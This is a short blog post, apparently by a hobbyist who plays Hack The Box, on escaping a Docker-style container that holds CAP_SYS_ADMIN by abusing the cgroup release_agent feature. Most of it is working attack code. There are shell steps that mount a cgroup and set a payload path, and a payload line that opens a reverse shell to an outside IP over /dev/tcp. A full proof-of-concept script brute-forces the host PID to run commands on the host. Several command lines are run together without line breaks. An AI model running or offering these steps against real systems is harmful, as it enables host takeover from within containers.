Container breakout: CAP_SYS_ADMIN via Creating a cgroup and using unshare utility

n00🔑
4 min readMay 6, 2022

--

Prerequisites:

  1. We need to be root inside the container.
  2. CAP_SYS_ADMIN capability should be there.
  3. The container filesystem should not be mounted as read-only
  4. We should be able to find any valid path within host filesystem to access container files.(alternative below)
  5. We should have mount permissions.

First Way(Finding host filesystem path via /etc/mtab file)-

Steps-

a) Listing capabilities within container-

capa=`cat /proc/1/status | grep -i 'CapEff' | awk '{print $2}'`; capsh --decode=$capa

b) Creating a cgroup, child group x and configuring notify_on_release

mkdir /tmp/cgrpmount -t cgroup -o memory cgroup /tmp/cgrpmkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtabecho "$host_path/cmd" > /tmp/cgrp/release_agent

Writing payload to /cmd file and assigning current process to the the newly created cgroup by writing its PID to the cgroup.procs

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/9.42.116.123/443 0>&1" >> /cmd
chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

And we will get reverse shell of host.

Second Way(using bruteforcing to find proccess id which inturn gives relative path to host file system)

If we run a process within container

and check its /proc/<pid>/root it will point to root of container.

We can use this relative path /proc/<real_pid>/root which resolves to / of container from host.

Let’s see an example-

  1. Create a file within a container root.

2. Now we can access this file from host by using container process’s /proc/<real_pid/host_pid>/root/whereami

185436

3. We accessed a file within a container from host using a container process!!

4. The only thing which we need is to guess the real_pid/host_pid of container process which is not much difficult if use automation.

5. POC(https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if
[ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi

# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

References:

https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/resource_management_guide/sec-common_tunable_parameters

--

--

n00🔑
n00🔑

Written by n00🔑

Computer Security Enthusiast. Usually plays HTB (ID-23862). https://www.youtube.com/@pswalia2u https://www.linkedin.com/in/pswalia2u/ Instagram @pswalia4u

Responses (1)